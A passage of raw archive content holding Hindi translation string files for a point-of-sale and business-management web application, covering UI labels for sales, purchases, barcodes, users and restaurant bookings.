ग्राहक देखें', 'view_own_customer' => 'अपने ग्राहक देखें', 'view_all_supplier' => 'सभी आपूर्तिकर्ता देखें', 'view_own_supplier' => 'अपने आपूर्तिकर्ता देखें', 'label_help' => 'प्रिंट बारकोड / लेबल', 'connection_type_windows' => 'कनेक्शन प्रकार विंडोज', 'connection_type_linux' => 'कनेक्शन प्रकार लिनक्स', 'windows_type_help' => 'डिवाइस फ़ाइलें की तर्ज पर होंगी', 'linux_type_help' => 'आपकी प्रिंटर डिवाइस फ़ाइल कुछ इस तरह होगी', 'due_date' => 'नियत तारीख', 'quotation_no' => 'उद्धरण संख्या', 'browser_based_printing' => 'ब्राउज़र आधारित मुद्रण', 'configured_printer' => 'कॉन्फ़िगर रसीद प्रिंटर का उपयोग करें', 'for_normal_printer' => 'सामान्य प्रिंटर के लिए', 'recomended_for_80mm' => 'थर्मल लाइन रसीद प्रिंटर के लिए अनुशंसित, 80 मिमी कागज का आकार', 'recomended_for_58mm' => 'थर्मल लाइन रसीद प्रिंटर, 80 मिमी और 58 मिमी कागज के आकार के लिए अनुशंसित', 'classic' => 'क्लासिक', 'elegant' => 'सुंदर', 'slim' => 'पतला', 'detailed' => 'विस्तृत', 'columnize_taxes' => 'कॉलम कर', 'types_of_service_help_long' => 'सेवा के प्रकार का अर्थ है डाइन-इन, पार्सल, होम डिलीवरी, थर्ड पार्टी डिलीवरी आदि जैसी सेवाएं। इसे <code> Settings> Modules </code> से सक्षम / अक्षम किया जा सकता है और इसे <code> Settings> सेवा के प्रकार से बनाया जा सकता है। </code> आप सेवा प्रकारों के लिए अलग-अलग मूल्य समूह और पैकिंग चार्ज को भी परिभाषित कर सकते हैं।', 'access_sell_return' => 'एक्सेस सेल रिटर्न', 'system_notification' => 'सिस्टम अधिसूचना', 'time_range' => 'समय सीमा', 'enable_php_intl_extension' => 'PHP INI सेटिंग्स में php-intl एक्सटेंशन सक्षम करें', 'profit_note' => '<b> नोट: </b> उत्पादों / श्रेणियों / ब्रांडों द्वारा लाभ केवल इनलाइन छूट पर विचार करता है। चालान पर विचार नहीं किया जाता है।', 'upcoming_bookings' => 'आगामी बुकिंग', 'is_refund' => 'धन वापसी है', 'is_refund_help' => 'यदि चेक किया गया व्यय वापस किया जाएगा और शुद्ध लाभ में जोड़ा जाएगा', 'refund' => 'वापसी', 'activate' => 'सक्रिय', 'deactivate' => 'निष्क्रिय करें', 'add_quotation' => 'उद्धरण जोड़ें', 'product_stock_history' => 'उत्पाद स्टॉक इतिहास', 'quantities_in' => 'मात्राएँ', 'quantities_out' => 'मात्राएँ बाहर', 'in' => 'में', 'out' => 'बाहर', 'totals' => 'कुल', 'quantity_change' => 'मात्रा परिवर्तन', 'new_quantity' => 'नई मात्रा', 'no_stock_history_found' => 'कोई स्टॉक इतिहास नहीं मिला', 'add_draft' => 'ड्राफ्ट जोड़ें', 'labels_for_sale_shipping_custom_fields' => 'बिक्री शिपिंग कस्टम फ़ील्ड के लिए लेबल', 'is_required' => 'की जरूरत है', 'convert_to_invoice' => 'चालान में परिवर्तित करें', 'converted_to_invoice_successfully' => 'इनवॉइस में परिवर्तित :invoice_no सफलतापूर्वक', 'proforma' => 'प्रोफार्मा', 'proforma_invoice' => 'प्रोफार्मा चालान', 'convert_to_proforma' => 'प्रोफार्मा चालान में परिवर्तित करें', 'converted_to_proforma_successfully' => 'प्रोफार्मा चालान में परिवर्तित', 'billing_address' => 'बिल भेजने का पता', 'delete_sell' => 'डिलीट सेल', 'product_brochure' => 'उत्पाद संबंधी विवरण पुस्तिका', 'whatsapp_text' => 'व्हाट्सएप टेक्स्ट', 'auto_send_wa_notif' => 'ऑटो व्हाट्सएप सूचना भेजें', 'send_whatsapp' => 'व्हाट्सएप नोटिफिकेशन भेजें', 'send_sms' => 'संदेश भेजो', 'send_email' => 'ईमेल भेजें', 'shipping_documents' => 'शिपिंग दस्तावेज', 'no_attachment_found' => 'कोई लगाव नहीं मिला', 'attachments' => 'अनुलग्नक', 'print_invoice' => 'चालान छापें', 'word_format' => 'शब्द प्रारूप', 'international' => 'अंतरराष्ट्रीय', 'indian' => 'भारतीय', 'word_format_help' => 'अंतर्राष्ट्रीय प्रारूप में बड़ी संख्या में मिलियन, बिलियन और ट्रिलियन का प्रतिनिधित्व किया जाता है जहां भारतीय प्रारूप में इसे लाखों और करोड़ों में दर्शाया जाता है', 'shipping_edited' => 'शिपिंग संपादित किया गया', 'payment_edited' => 'भुगतान संपादित किया गया', 'notification_sent' => 'अधिसूचना भेजी गई', 'imported' => 'आयातित', 'logout' => 'लॉग आउट', 'backup_clean_command_instruction' => 'पुराने बैकअप को साफ करने के लिए आपको इस कमांड के साथ क्रॉन जॉब सेट करना होगा:', 'converted' => 'रूपांतरित', 'view_commission_agent_sell' => 'कमीशन एजेंट अपनी खुद की बिक्री देख सकते हैं', 'access_commission_agent_shipping' => 'कमीशन एजेंट अपने स्वयं के शिपमेंट तक पहुंच सकते हैं', 'access_own_shipping' => 'एक्सेस शिपमेंट्स', 'email_notification_sent' => 'ईमेल सूचना भेजी गई', 'sms_notification_sent' => 'एसएमएस अधिसूचना भेजी', 'packing_date' => 'पैकिंग तिथि', 'print_exp_date' => 'प्रिंट एक्सपायरी डेट', 'print_packing_date' => 'प्रिंट पैकिंग तिथि', 'print_lot_number' => 'प्रिंट संख्या', 'family_contact_number' => 'परिवार संपर्क नंबर', 'custom_payment' => 'कस्टम भुगतान :number', 'default_credit_limit' => 'डिफ़ॉल्ट क्रेडिट सीमा', 'price_calculation_type' => 'मूल्य गणना प्रकार', 'show_pricing_on_product_sugesstion' => 'उत्पाद सुझाव टूलटिप पर मूल्य निर्धारण दिखाएं', 'all_purchase_orders' => 'सभी खरीद आदेश', 'add_purchase_order' => 'खरीद आदेश जोड़ें', 'edit_purchase_order' => 'खरीद आदेश संपादित करें', 'purchase_order_details' => 'खरीद आदेश विवरण', 'enable_purchase_order' => 'खरीद आदेश सक्षम करें', 'purchase_order_help_text' => 'एक खरीद ऑर्डर एक वाणिज्यिक दस्तावेज़ है और किसी खरीदार द्वारा विक्रेता को जारी किया गया पहला प्रस्ताव है जो उत्पादों या सेवाओं के प्रकारों, मात्राओं, और सहमत कीमतों का संकेत देता है। इसका उपयोग बाहरी आपूर्तिकर्ताओं से उत्पादों और सेवाओं की खरीद को नियंत्रित करने के लिए किया जाता है। हमारे ऑर्डर ऑर्डर कर सकते हैं। उद्यम संसाधन नियोजन प्रणाली के आदेशों का एक अनिवार्य हिस्सा हो। ', 'view_all_purchase_order' => 'सभी खरीद आदेश देखें', 'view_own_purchase_order' => 'स्वयं का क्रय आदेश देखें', 'create_purchase_order' => 'खरीद आदेश बनाएं', 'delete_purchase_order' => 'खरीद आदेश हटाएं', 'purchase_order_delete_success' => 'खरीद आदेश सफलतापूर्वक हटा दिया गया', 'order_quantity' => 'आदेश की मात्रा', 'order_date' => 'आदेश की तारीख', 'max_quantity_quantity_allowed' => 'अधिकतम :quantity अनुमत', 'leave_empty_to_autogenerate' => 'ऑटोगेनेरेट के लिए खाली छोड़ दें', 'add_edit_invoice_number' => 'एडिट इनवॉइस नंबर जोड़ें', 'keep_blank_to_autogenerate' => 'ऑटो जेनरेट करने के लिए खाली रखें', 'download_pdf' => 'डाउनलोड पीडीऍफ़', 'attach_pdf_in_email' => 'ईमेल में चालान संलग्न करें', 'send_sms_whatsapp_notification' => 'एसएमएस भेजें / व्हाट्सएप अधिसूचना', 'enable_sales_order' => 'बिक्री आदेश सक्षम करें', 'sales_order' => 'बिक्री आदेश', 'sales_order_help_text' => 'बिक्री आदेश, जिसे कभी-कभी एसओ के रूप में संक्षिप्त किया जाता है, एक व्यवसाय या ग्राहक को एकमात्र व्यापारी द्वारा जारी किया गया एक आदेश है। एक बिक्री आदेश उत्पादों और / या सेवाओं के लिए हो सकता है।', 'add_sales_order' => 'सेल्स ऑर्डर जोड़ें', 'edit_sales_order' => 'बिक्री आदेश संपादित करें', 'shipping_note' => 'नौवहन लेख', 'code_1_name' => 'कोड 1 नाम', 'code_2_name' => 'कोड 2 का नाम', 'code_1' => 'कोड 1', 'code_2' => 'कोड 2', 'download_paking_pdf' => 'डाउनलोड पैकिंग पीडीएफ', 'subject_type' => 'विषय प्रकार', 'activity_log' => 'गतिविधि लॉग', 'sell_deleted' => 'बेच दिया गया', 'so_deleted' => 'बिक्री आदेश हटा दिया गया', 'po_deleted' => 'खरीद आदेश हटा दिया गया', 'purchase_deleted' => 'खरीद हटा दिया गया', 'contact_deleted' => 'संपर्क हटा दिया गया', 'payment_deleted' => 'भुगतान हटा दिया गया', 'quantity_remaining' => 'शेष मात्रा', 'view_sale' => 'देखें बिक्री', 'update_sale' => 'अपडेट बेचें', 'add_sell' => 'सेल जोड़ें', 'account_details' => 'खाता विवरण', 'label' => 'लेबल', 'prefer_payment_method' => 'भुगतान विधि को प्राथमिकता दें', 'prefer_payment_account' => 'भुगतान खाते को प्राथमिकता दें', 'this_will_be_shown_in_pdf' => 'पसंदीदा तरीका / खाता जहां ग्राहक चालान का भुगतान कर सकता है। (क्रेडिट चालान के लिए उपयोगी)', 'view_own_so' => 'खुद की बिक्री के आदेश देखें', 'view_all_so' => 'सभी बिक्री आदेश देखें', 'create_so' => 'बिक्री आदेश बनाएँ', 'edit_so' => 'बिक्री आदेश संपादित करें', 'delete_so' => 'बिक्री आदेश हटाएं', 'types_of_service_custom_field_help' => 'छह कस्टम फ़ील्ड बिक्री जोड़ते समय उपलब्ध होंगे', 'delete_expense' => 'हटाएं व्यय', 'access_all_expense' => 'सभी खर्चों तक पहुंचें', 'designation' => 'पदनाम', 'department' => 'विभाग', 'is_default_for_contact' => 'संपर्क के लिए डिफ़ॉल्ट है', 'individual' => 'व्यक्ति', 'is_export' => 'निर्यात है?', 'export' => 'निर्यात', 'export_custom_field1' => 'निर्यात कस्टम क्षेत्र 1', 'export_custom_field2' => 'निर्यात कस्टम फ़ील्ड 2', 'export_custom_field3' => 'निर्यात कस्टम क्षेत्र 3', 'export_custom_field4' => 'निर्यात कस्टम क्षेत्र 4', 'export_custom_field5' => 'निर्यात कस्टम क्षेत्र 5', 'export_custom_field6' => 'निर्यात कस्टम क्षेत्र 6', 'enable_export' => 'निर्यात सक्षम करें', 'edit_status' => 'स्थिति संपादित करें', 'status_updated' => 'स्थिति अपडेट की गई', 'item_discount_label' => 'आइटम छूट लेबल', 'sales_orders' => 'विक्रय आदेश', 'cash_denominations' => 'नकद मूल्यह्रास', 'cash_denominations_help' => 'कोमा ने मूल्यों को अलग किया उदाहरण: 100,200,500,2000', 'denomination' => 'अवनति', 'count' => 'काउंट', 'denomination_add_help_text' => 'सेटिंग्स में संप्रदायों को जोड़ें -> व्यावसायिक सेटिंग्स -> स्थिति -> नकद मूल्यह्रास', 'order_dates' => 'ऑर्डर की तारीखें', 'by_category' => 'श्रेणी के द्वारा', 'by_brand' => 'ब्रांड द्वारा', 'no_brand' => 'कोई ब्रांड नहीं', 'woocommerce_sync' => 'WooCommerce सिंक', 'enable' => 'सक्षम करें', 'disable' => 'अक्षम करें', 'cmmsn_calculation_type' => 'कमीशन गणना प्रकार', 'invoice_value' => 'इनवॉइस मूल्य', 'total_payment_with_commsn' => 'कमीशन के साथ कुल भुगतान', 'payments_with_cmmsn' => 'कमीशन के साथ भुगतान', 'view_all_drafts' => 'सभी ड्राफ़्ट देखें', 'view_own_drafts' => 'स्वयं के ड्राफ़्ट देखें', 'edit_draft' => 'ड्राफ़्ट संपादित करें', 'delete_draft' => 'ड्राफ़्ट हटाएं', 'view_all_quotations' => 'सभी उद्धरण देखें', 'view_own_quotations' => 'स्वयं के उद्धरण देखें', 'edit_quotation' => 'उद्धरण संपादित करें', 'delete_quotation' => 'उद्धरण हटाएं', 'primary_work_location' => 'प्राथमिक कार्य स्थान', 'labels_for_purchase_shipping_custom_fields' => 'लेबल शिपिंग के लिए कस्टम फ़ील्ड खरीदने के लिए', 'view_own_purchase_n_stock_adjustment' => 'खुद की खरीद और स्टॉक समायोजन देखें', 'view_all_purchase_n_stock_adjustment' => 'सभी खरीद और स्टॉक समायोजन देखें', 'access_all_shipments' => 'सभी शिपमेंट तक पहुंचें', 'view_all_sale' => 'सभी देखें बिक्री', 'total_quantity' => 'कुल मात्रा', 'pending_shipments' => 'लंबित शिपमेंट', 'view_paid_sells_only' => 'केवल सशुल्क बिक्री देखें', 'view_due_sells_only' => 'केवल देय बिक्री देखें', 'view_partially_paid_sells_only' => 'केवल आंशिक रूप से भुगतान की गई बिक्री देखें', 'view_overdue_sells_only' => 'केवल अतिदेय बिक्री देखें', 'customer_with_no_sell_one_month' => 'केवल एक महीने से बिना बिक्री वाले ग्राहकों को देखें', 'customer_with_no_sell_three_month' => 'केवल तीन महीने से बिना बिक्री वाले ग्राहकों को देखें', 'customer_with_no_sell_six_month' => 'केवल छह महीने से बिना बिक्री वाले ग्राहकों को देखें', 'customer_with_no_sell_one_year' => 'केवल एक वर्ष से बिना किसी बिक्री वाले ग्राहकों को देखें', 'customer_permissions_tooltip' => 'सभी ग्राहकों को एक विशिष्ट समय से बिना किसी बिक्री के देखने के लिए <b>सभी ग्राहक देखें</b> अनुमति की आवश्यकता है अन्यथा यह केवल लॉग इन उपयोगकर्ता द्वारा बनाए गए ग्राहकों के साथ फ़िल्टर करेगा', 'sell_permissions_tooltip' => 'भुगतान की स्थिति के आधार पर बिक्री देखने के लिए <b> सभी बिक्री देखें</b> अनुमति की आवश्यकता है अन्यथा यह केवल लॉग इन उपयोगकर्ता द्वारा बनाई गई बिक्री के साथ फ़िल्टर करेगा', 'access_pending_shipments_only' => 'केवल लंबित शिपमेंट तक पहुंचें', 'access_all_sell_return' => 'एक्सेस ऑल सेल रीट्रन', 'access_own_sell_return' => 'खुद की बिक्री फिर से शुरू करें', 'proforma_heading' => 'प्रोफार्मा चालान शीर्षक', 'tooltip_proforma_heading' => 'प्रोफार्मा इनवॉइस हेडिंग का उपयोग ग्राहकों को प्रोफार्मा प्रदान करते समय किया जाता है।', 'line_taxes' => 'लाइन टैक्स', 'add_additional_expenses' => 'अतिरिक्त खर्च जोड़ें', 'additional_expense_name' => 'अतिरिक्त खर्च का नाम', 'purchase_additional_expense' => 'अतिरिक्त खर्च खरीदें', 'qr_code' => 'क्यूआर कोड', 'show_qr_code' => 'क्यूआर कोड दिखाएं', 'fields_to_be_shown' => 'दिखाए जाने वाले फ़ील्ड', 'business_location_address' => 'व्यावसायिक स्थान का पता', 'business_tax_1' => 'बिजनेस टैक्स 1', 'business_tax_2' => 'बिजनेस टैक्स 2', 'invoice_datetime' => 'चालान दिनांक समय', 'total_amount_with_tax' => 'कर के साथ कुल राशि', 'total_bank_transfer' => 'कुल बैंक हस्तांतरण', 'total_advance_payment' => 'कुल अग्रिम भुगतान', 'commission_agent_label' => 'कमीशन एजेंट लेबल', 'show_commission_agent' => 'कमीशन एजेंट दिखाएं', 'cannot_change_role' => 'भूमिका नहीं बदल सकते', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'भुगतान लिंक', 'enable_payment_link' => 'भुगतान लिंक सक्षम करें', 'payment_link_help_text' => 'सक्षम करके उपयोगकर्ता भुगतान लिंक का उपयोग करके चालान का भुगतान कर सकते हैं', 'invoice_payment' => 'चालान भुगतान', 'payment_for_invoice_no' => 'चालान संख्या के लिए भुगतान', 'pending_shipments' => 'लंबित शिपमेंट', 'sources' => 'स्रोत', 'stripe_secret_key' => 'पट्टी गुप्त कुंजी', 'stripe_public_key' => 'पट्टी सार्वजनिक कुंजी', 'edit_opening_balance' => 'ओपनिंग बैलेंस संपादित करें', 'edit_fund_transfer' => 'फंड ट्रांसफर संपादित करें', 'edit_deposit' => 'जमा संपादित करें', 'deposit_to' => 'जमा करें', 'transfer_from' => 'इससे स्थानांतरित करें', 'edit_account_transaction' => 'खाता लेनदेन संपादित करें', 'delete_account_transaction' => 'खाता लेनदेन हटाएं', 'add_purchase_payment' => 'खरीद भुगतान जोड़ें', 'edit_purchase_payment' => 'खरीद भुगतान संपादित करें', 'delete_purchase_payment' => 'खरीद भुगतान हटाएं', 'add_sell_payment' => 'बिक्री भुगतान जोड़ें', 'edit_sell_payment' => 'बिक्री भुगतान संपादित करें', 'delete_sell_payment' => 'बिक्री भुगतान हटाएं', 'sales_order_heading' => 'बिक्री आदेश शीर्षक', 'account_balance' => 'खाते में शेष', 'total_balance' => 'कुल शेष', 'account_balance_tooltip' => 'विशेष खाते का कुल शेष', 'total_balance_tooltip' => 'सभी खातों का कुल शेष', 'sell_additional_expense' => 'अतिरिक्त खर्च बेचें', 'view_export_buttons' => 'टेबल पर बटन (सीएसवी/एक्सेल/प्रिंट/पीडीएफ) को निर्यात देखें', 'overall' => 'कुल मिलाकर', 'show_labels' => 'लेबल दिखाएं', 'zatca_qr' => 'ZATCA (फतूरा) क्यूआर कोड', 'zatca_qr_help' => 'सऊदी अरब देश के लिए', 'customer_irrespective_of_sell' => 'ग्राहकों को उनकी बिक्री पर ध्यान दिए बिना देखें', 'img_url_help_text' => 'या छवि का URL', 'delivery_person' => 'डिलीवरी पर्सन', 'enable_service_staff_pin' => 'सेवा स्टाफ पिन सक्षम करें', 'staff_pin' => 'स्टाफ पिन', 'tooltip_is_enable_service_staff_pin' => 'यदि सक्षम है तो बिक्री / पॉज़ के दौरान जब यह उपयोगकर्ता सेवा कर्मचारी के रूप में चयनित होता है, तो पिन दर्ज करना आवश्यक है, गलत पिन इस उपयोगकर्ता का सेवा कर्मचारी के रूप में चयन करने की अनुमति नहीं देगा।', 'kitchen_order' => 'रसोई आर्डर', 'kitchen_order_tooltip' => 'यह विकल्प चेक किया जाता है तो केवल तब पर्याप्त बेज दर्ज करेगा', 'disable_quotation' => 'कोटेशन अक्षम करें', 'disable_card' => 'कार्ड अक्षम करें', 'assigned_to' => 'सौंपा गया', 'has_no_sell_from' => 'से कोई बिक्री नहीं है', 'delivery_note' => 'डिलीवरी नोट', 'above_mentioned_items_received_in_good_condition' => 'उपर उल्लिखित आइटम सुरक्षित स्थिति में प्राप्त हुए', 'received_by' => 'द्वारा प्राप्त', 'enter_details_below_to_check_repair_status' => 'मरम्मत की स्थिति की जांच के लिए नीचे दिए गए विवरण दर्ज करें', 'search_by' => 'द्वारा खोज' ]; PK G �ZV�$� hi/barcode.phpnu �[��� <?php return [ 'barcodes' => 'बारकोड', 'barcode_settings' => 'बारकोड सेटिंग', 'manage_your_barcodes' => 'अपनी बारकोड सेटिंग प्रबंधित करें', 'all_your_barcode' => 'आपकी सभी बारकोड सेटिंग', 'setting_name' => 'स्टीकर शीट सेटिंग नाम', 'setting_description' => 'स्टिकर शीट सेटिंग विवरण', 'added_success' => 'बारकोड सेटिंग सफलतापूर्वक जोड़ दी गई', 'updated_success' => 'बारकोड सेटिंग सफलतापूर्वक अद्यतन की गई', 'deleted_success' => 'बारकोड सेटिंग सफलतापूर्वक नष्ट कर दी गई', 'add_new_setting' => 'नई सेटिंग जोड़ें', 'add_barcode_setting' => 'बारकोड स्टिकर सेटिंग जोड़ें', 'edit_barcode_setting' => 'बारकोड स्टिकर सेटिंग संपादित करें', 'in_in' => 'इंचों में', 'width' => 'स्टिकर की चौड़ाई', 'height' => 'स्टिकर की ऊंचाई', 'top_margin' => 'अतिरिक्त शीर्ष मार्जिन', 'left_margin' => 'अतिरिक्त बाएं मार्जिन', 'row_distance' => 'दो पंक्तियों के बीच की दूरी', 'col_distance' => 'दो स्तंभों के बीच की दूरी', 'blank_stickers' => 'रिक्त स्टिकर', 'stickers_in_one_row' => 'एक पंक्ति में स्टिकर', 'delete_confirm' => "यह सेटिंग हटा दी जाएगी \n क्या आप निश्चित हैं?", 'set_as_default' => 'डिफाल्ट के रूप में सेट', 'default' => 'चूक', 'default_set_success' => 'डिफ़ॉल्ट सेट सफलतापूर्वक', 'stickers_in_one_sheet' => 'प्रति पत्र स्टिकर की संख्या', 'is_continuous' => 'सतत फ़ीड या रोल', 'products' => 'उत्पाद', 'no_of_labels' => 'लेबल की संख्या', 'info_in_labels' => 'लेबल में दिखाने के लिए सूचना', 'print_name' => 'उत्पाद का नाम', 'print_variations' => 'उत्पाद विविधता (अनुशंसित)', 'print_price' => 'उत्पाद की कीमत', 'show_price' => 'मूल्य दिखाएँ', 'preview' => 'पूर्वावलोकन', 'print_business_name' => 'व्यवास्यक नाम', 'barcode_setting' => 'बारकोड सेटिंग', 'paper_width' => 'पेपर चौड़ाई', 'paper_height' => 'पेपर ऊंचाई', 'print_labels' => 'प्रिंट लेबल', 'labels' => 'लेबल', ]; PK G �Z���{� � hi/user.phpnu �[��� <?php return [ 'edit_profile' => 'प्रोफाइल एडिट करें', 'change_password' => 'पासवर्ड बदलें', 'current_password' => 'वर्तमान पासवर्ड', 'new_password' => 'नया पासवर्ड', 'confirm_new_password' => 'नए पासवर्ड की पुष्टि करें', 'user_management' => 'उपयोगकर्ता प्रबंधन', 'roles' => 'भूमिकाओं', 'users' => 'उपयोगकर्ता', 'manage_roles' => 'भूमिकाएं प्रबंधित करें', 'all_roles' => 'सभी भूमिकाएं', 'add_role' => 'भूमिका जोड़ें', 'role_name' => 'भूमिका का नाम', 'permissions' => 'अनुमतियां', 'role_added' => 'भूमिका सफलतापूर्वक जोड़ा', 'role_already_exists' => 'समान नाम वाली भूमिका पहले से मौजूद है', 'edit_role' => 'भूमिका संपादित करें', 'role_updated' => 'भूमिका सफलतापूर्वक अद्यतन', 'role_deleted' => 'भूमिका सफलतापूर्वक हटा दी गई', 'manage_users' => 'उपयोगकर्ताओं को प्रबंधित करें', 'all_users' => 'सभी उपयोगकर्ताओं', 'name' => 'नाम', 'role' => 'भूमिका', 'add_user' => 'उपयोगकर्ता जोड़ें', 'user_added' => 'उपयोगकर्ता सफलतापूर्वक जोड़ा', 'role_is_default' => 'आप इस भूमिका को संशोधित नहीं कर सकते', 'edit_user' => 'यूजर को संपादित करो', 'leave_password_blank' => 'यदि आप पासवर्ड अपडेट नहीं करना चाहते हैं तो पासवर्ड फ़ील्ड रिक्त छोड़ें', 'user_update_success' => 'उपयोगकर्ता सफलतापूर्वक अपडेट किया गया', 'user_delete_success' => 'उपयोगकर्ता सफलतापूर्वक हटा दिया गया', ]; PK G �Z}�b hi/restaurant.phpnu �[��� <?php return [ 'restaurant' => 'खाने की दुकान', 'tables' => 'टेबल्स', 'table' => 'तालिका', 'manage_your_tables' => 'रेस्तरां टेबल प्रबंधित करें', 'all_your_tables' => 'सभी रेस्तरां टेबल', 'description' => 'विवरण', 'add_table' => 'तालिका जोड़ें', 'edit_table' => 'तालिका संपादित करें', 'table_name' => 'तालिका नाम', 'short_description' => 'संक्षिप्त वर्णन', 'select_table' => 'टेबल का चयन करें', 'show_table' => 'तालिका दिखाएं', 'table_label' => 'टेबल लेबल', 'show_service_staff' => 'सेवा कर्मचारी दिखाएं', 'service_staff_label' => 'सेवा कर्मचारी लेबल', 'select_waiter' => 'वेटर का चयन करें', 'modifiers' => 'संशोधक', 'modifier_sets' => 'संशोधक समूह', 'manage_your_modifiers' => 'सभी रेस्तरां संशोधक प्रबंधित करें', 'all_your_modifiers' => 'सभी संशोधक', 'add_modifier' => 'संशोधक जोड़ें', 'modifier_set' => 'संशोधक सेट', 'modifier' => 'संशोधक', 'edit_modifier' => 'संशोधक संपादित करें', 'manage_products' => 'उत्पाद प्रबंधित करें', 'products' => 'उत्पाद', 'modifiers_for_product' => 'उत्पाद के लिए संशोधक', 'kitchen' => 'रसोई', 'mark_as_cooked' => 'पके हुए के रूप में चिह्नित करें', 'manage_your_kitchen' => 'अपनी रसोई का प्रबंधन करें', 'all_orders' => 'सभी ऑर्डर', 'order_no' => 'आदेश संख्या।', 'order_statuses' => [ 'received' => 'प्राप्त किया', 'cooked' => 'पकाया', 'served' => 'प्रस्तुति', '' => 'प्राप्त किया', ], 'order_successfully_marked_cooked' => 'ऑर्डर सफलतापूर्वक पकाया गया के रूप में चिह्नित किया गया है', 'order_successfully_marked_served' => 'ऑर्डर सफलतापूर्वक चिह्नित के रूप में चिह्नित', 'orders' => 'आदेश', 'manage_your_orders' => 'अपने ऑर्डर प्रबंधित करें', 'all_your_orders' => 'आपके सभी ऑर्डर', 'mark_as_served' => 'सेवा के रूप में चिह्नित करें', 'placed_at' => 'पर रखा', 'order_status' => 'आदेश की स्थिति', 'order_details' => 'ऑर्डर का विवरण', 'refresh' => 'ताज़ा करें', 'no_orders_found' => 'कोई आदेश नहीं मिला', 'select_service_staff' => 'सेवा कर्मचारी का चयन करें', 'service_staff' => 'सेवा के कर्मचारी', 'kitchen_for_restaurant' => 'रसोई (रेस्तरां के लिए)', 'products_for_modifier' => 'संशोधक के लिए उत्पाद', 'is_service_staff' => 'सेवा कर्मचारी है', 'tooltip_tables' => 'ज्यादातर रेस्तरां, बार, सैलून आदि में प्रयुक्त होता है', 'tooltip_modifiers' => 'मुख्य उत्पाद के साथ अतिरिक्त आइटम जोड़े गए उदाहरण: टॉपिंग्स, पनीर', 'tooltip_service_staff' => 'वह व्यक्ति जो ग्राहकों को नामित सेवा प्रदान करता है <br> उदाहरण: रेस्तरां में कर्मचारियों की प्रतीक्षा करना, सैलून में हेयरड्रेसर', 'modules_settings' => 'मॉड्यूल सेटिंग्स', 'bookings' => 'बुकिंग', 'add_edit_view_all_booking' => 'सभी बुकिंग जोड़ें / संपादित करें / देखें', 'add_edit_view_own_booking' => 'अपनी बुकिंग जोड़ें / संपादित / देखें / देखें', 'add_booking' => 'नई बुकिंग जोड़ें', 'start_time' => 'समय शुरू', 'end_time' => 'अंतिम समय', 'booking_not_available' => 'तालिका पहले से ही <b>:customer_name</b> के लिए बुक की गई है <b>:booking_time_range</b>', 'select_correspondent' => 'संवाददाता का चयन करें', 'send_notification_to_customer' => 'ग्राहक को ईमेल / एसएमएस अधिसूचना भेजें', 'booking_details' => 'बुकिंग विवरण', 'correspondent' => 'संवाददाता', 'booking_starts' => 'बुकिंग शुरू होता है', 'booking_ends' => 'बुकिंग समाप्त होता है', 'cancelled' => 'रद्द', 'completed' => 'पूरा कर लिया है', 'change_booking_status' => 'बुकिंग स्थिति बदलें', 'booked' => 'बुक', 'delete_booking' => 'बुकिंग हटाएं', 'click_on_any_booking_to_view_or_change_status' => 'विवरण देखने या स्थिति बदलने के लिए किसी भी बुकिंग पर क्लिक करें', 'double_click_on_any_day_to_add_new_booking' => 'नई बुकिंग जोड़ने के लिए किसी भी दिन डबल क्लिक करें', 'todays_bookings' => 'आज की बुकिंग', 'hello_name' => 'हैलो :name!', 'booking_confirmed' => 'आपकी बुकिंग की पुष्टि की गई है।', 'table_info' => 'तालिका: :table', 'booking_time_info' => 'से :from तक :to', 'new_booking_subject' => 'नई बुकिंग - :business_name', 'customer_note' => 'ग्राहक नोट', 'table_report' => 'टेबल रिपोर्ट', 'service_staff_report' => 'सेवा कर्मचारी रिपोर्ट', 'service_staff_replacement' => 'सेवा कर्मचारी का प्रतिस्थापन', ]; PK G �Zt�� � hi/purchase.phpnu �[��� <?php return [ 'supplier' => 'प्रदायक', 'ref_no' => 'संदर्भ संख्या', 'business_location' => 'व्यवसाय का स्थान', 'purchases' => 'खरीद', 'add_payment' => 'भुगतान जोड़ें', 'edit_payment' => 'भुगतान संपादित करें', 'view_payments' => 'भुगतान देखें', 'amount_already_paid' => 'पहले से ही भुगतान की गई राशि', 'payment_added_success' => 'भुगतान सफलतापूर्वक जोड़ा गया', 'payment_updated_success' => 'भुगतान सफलतापूर्वक अपडेट किया गया', 'payment_deleted_success' => 'भुगतान सफलतापूर्वक हटा दिया गया', 'amount' => 'रकम', 'payment_method' => 'भुगतान का तरीका', 'no_records_found' => 'कोई रिकॉर्ड नहीं मिला', 'payment_due' => 'भुगतान राशि', 'purchase_total' => 'कुल खरीद', 'location' => 'स्थान', 'payment_note' => 'भुगतान नोट', 'all_purchases' => 'सभी खरीद', 'purchase_status' => 'खरीद स्थिति', 'payment_status' => 'भुगतान की स्थिति', 'grand_total' => 'कुल योग', 'add_purchase' => 'खरीदारी जोड़ें', 'purchase_date' => 'खरीद की तारीख', 'purchase_quantity' => 'खरीदी गयी मात्रा', 'unit_cost_before_tax' => 'इकाई लागत (कर से पहले)', 'subtotal_before_tax' => 'उप-योग (कर से पहले)', 'product_tax' => 'उत्पाद कर', 'net_cost' => 'मूल किमत', 'line_total' => 'कुल लाइन', 'unit_selling_price' => 'इकाई बेचना मूल्य', 'total_before_tax' => 'कर के पहले का कुल', 'net_total_amount' => 'शुद्ध कुल राशि', 'discount_type' => 'डिस्काउंट प्रकार', 'discount_amount' => 'छूट राशि', 'discount' => 'छूट', 'edit_purchase' => 'खरीदारी संपादित करें', 'purchase_tax' => 'खरीद कर', 'shipping_details' => 'परिवहन विवरण', 'additional_shipping_charges' => 'अतिरिक्त शिपिंग शुल्क', 'additional_notes' => 'अतिरिक्त नोट्स', 'purchase_add_success' => 'खरीद सफलतापूर्वक जोड़ा', 'purchase_update_success' => 'क्रय सफलतापूर्वक अपडेट किया गया', 'purchase_details' => 'खरीदारी का ब्योरा', 'unit_cost_after_tax' => 'इकाई लागत मूल्य (कर के बाद)', 'total_after_tax' => 'कर के बाद कुल', 'no_payments' => 'कोई भुगतान नहीं मिला', 'allow_purchase_different_currency' => 'अन्य मुद्रा में खरीदारी', 'purchase_currency' => 'खरीद मुद्रा', 'p_exchange_rate' => 'मुद्रा विनिमय दर', 'diff_purchase_currency_help' => 'खरीद मुद्रा को <strong> :currency </strong> पर सेट किया गया है', 'list_purchase' => 'सूची खरीद', 'attach_document' => 'दस्तावेज़ संलग्न करें', 'download_document' => 'डाउनलोड दस्तावेज़', 'max_file_size' => 'अधिकतम फ़ाइल आकार: :size एमबी', ]; PK G �ZM��,� � hi/business.phpnu �[��� 